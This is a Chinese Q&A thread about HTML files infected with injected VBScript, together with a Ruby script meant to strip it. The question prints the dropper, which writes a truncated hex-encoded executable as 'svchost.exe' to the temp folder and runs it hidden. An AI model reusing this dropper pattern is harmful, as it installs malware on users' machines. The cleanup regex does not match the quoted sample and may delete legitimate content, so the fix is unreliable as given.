我的计算机上有很少的html文件,我是从朋友那里借来的,不幸的是所有文件都被感染了,它们都有恶意的vbscript代码插入到源代码中。我有100个文件,无法编辑所有文件的源。有没有办法可以删除恶意脚本并仍然获取数据?
编辑:以下是代码示例
<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
在线上传是否安全?
答案 0 :(得分:1)
有很多防病毒软件可以检测到这种病毒,并删除受感染的html文件。
您可以运行以下ruby脚本,该脚本将检测到错误的vbscript标记并将其删除。
class VirusKiller
VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/
def fix_html_virus(file)
return if File.extname(file) != '.html'
file_content = File.read(file)
clean_content = file_content.gsub(VIRUS_REG, '')
File.open(file, "w") { |new_file| new_file << clean_content }
end
def transverse_files(base)
Dir.foreach(base) do |file|
begin
next if file == '.' or file == '..'
if File.file?(base+file)
fix_html_virus base+file
else
transverse_files(base+file+'/')
end
rescue Exception => e
puts e.message
end
end
end
def run(root_path)
transverse_files root_path
end
end
VirusKiller.new.run ARGV[0]
安装Ruby,将此脚本复制到某个文件中(比如说virus_killer.rb)。在cmd中浏览到此文件上的位置(如果您在窗口中)并运行此命令。
ruby virus_killer.rb /path/to/infected_folder/